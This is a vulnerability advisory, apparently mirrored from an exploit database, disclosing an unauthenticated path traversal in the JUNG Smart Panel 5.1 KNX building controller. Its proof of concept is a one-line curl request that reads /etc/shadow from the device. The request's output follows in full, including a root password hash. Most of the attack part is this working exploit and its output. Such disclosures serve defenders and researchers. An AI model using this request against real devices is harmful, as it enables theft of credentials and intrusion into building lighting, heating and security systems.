## https://sploitus.com/exploit?id=PACKETSTORM:215430
JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal
Vendor: ALBRECHT JUNG GMBH & CO. KG
Product web page: https://www.jung-group.com | https://www.jung.de
Affected version: L1.12.22
Summary: The JUNG Smart Panel 5.1 KNX is a flush-mounted 5-inch touch-sensitive
controller designed for managing smart building automation via the KNX system.
It serves as a, intuitive, centralized interface for controlling lighting, shading,
heating, and security, utilizing a 640 x 480-pixel color TFT screen running on
embedded Linux.
Desc: The controller suffers from a directory traversal vulnerability. Exploiting
this issue will allow an unauthenticated attacker to view arbitrary files within
the context of the web server.
Tested on: GNU/Linux 3.0.35-1.1.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2026-5969
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5969.php
06.02.2026
--
$ curl http://17.17.17.17//etc/shadow
root:lnC45zXXNWV9E:17011:0:99999:7:::
daemon:*:16714:0:99999:7:::
bin:*:16714:0:99999:7:::
sys:*:16714:0:99999:7:::
sync:*:16714:0:99999:7:::
games:*:16714:0:99999:7:::
man:*:16714:0:99999:7:::
lp:*:16714:0:99999:7:::
mail:*:16714:0:99999:7:::
news:*:16714:0:99999:7:::
uucp:*:16714:0:99999:7:::
proxy:*:16714:0:99999:7:::
www-data:*:16714:0:99999:7:::
backup:*:16714:0:99999:7:::
list:*:16714:0:99999:7:::
irc:*:16714:0:99999:7:::
gnats:*:16714:0:99999:7:::
nobody:*:16714:0:99999:7:::
messagebus:!:16714::::::